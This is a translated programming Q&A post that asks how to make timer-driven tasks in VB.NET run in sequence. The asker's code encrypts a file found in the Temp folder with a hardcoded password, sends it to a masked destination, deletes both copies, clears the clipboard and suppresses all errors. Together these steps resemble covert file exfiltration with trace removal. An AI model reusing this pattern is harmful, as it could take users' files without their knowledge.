如何找出Visual Basic中的进程何时完成?

时间:2015-06-24 19:05:43

标签: vb.net

我编写了一个程序,在时间流逝后执行了一些代码。

问题是我需要在另一个之后开始这项工作。我的意思是让它们在第一个结束后按顺序执行(即第二个开始然后第三个......)。

对不起我的英语:(我希望你明白我的意思。

这是我的代码:

Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick

    Dim tte1 As String = Replace(TextBox1.Text, "?", "")
    Dim tte2 As String = Replace(tte1, "/", "")
    Dim tte3 As String = Replace(tte2, ":", "")
    Dim tte4 As String = Replace(tte3, "xxx", "")
    Dim tte5 As String = Replace(tte4, "?", "")
    Dim file = My.Computer.FileSystem.SpecialDirectories.Temp & "\" + tte5
    Dim file1 = My.Computer.FileSystem.SpecialDirectories.Temp & "\" + tte5 + ".system"



    Dim cryptor As FileEncryption = New FileEncryption()
    cryptor.SetPassword("xxxx")

    If My.Computer.FileSystem.FileExists(file) Then
        System.IO.File.Delete(file1)

        Try
            cryptor.Encrypt(file, file1)


            sendfile(file1, xxxx)
            System.IO.File.Delete(file)
            System.IO.File.Delete(file1)

        Catch ex As Exception



        End Try
    End If
    Try
        My.Computer.Clipboard.Clear()
    Catch ex As Exception


    End Try
End Sub

正如你所看到的,有很多工作应该同时完成;因此,当计时器滴答时,程序几秒钟内没有响应。 我需要一个解决方案来解决这个问题并告诉程序在完成上一个工作之后完成这项工作。

谢谢。

0 个答案:

没有答案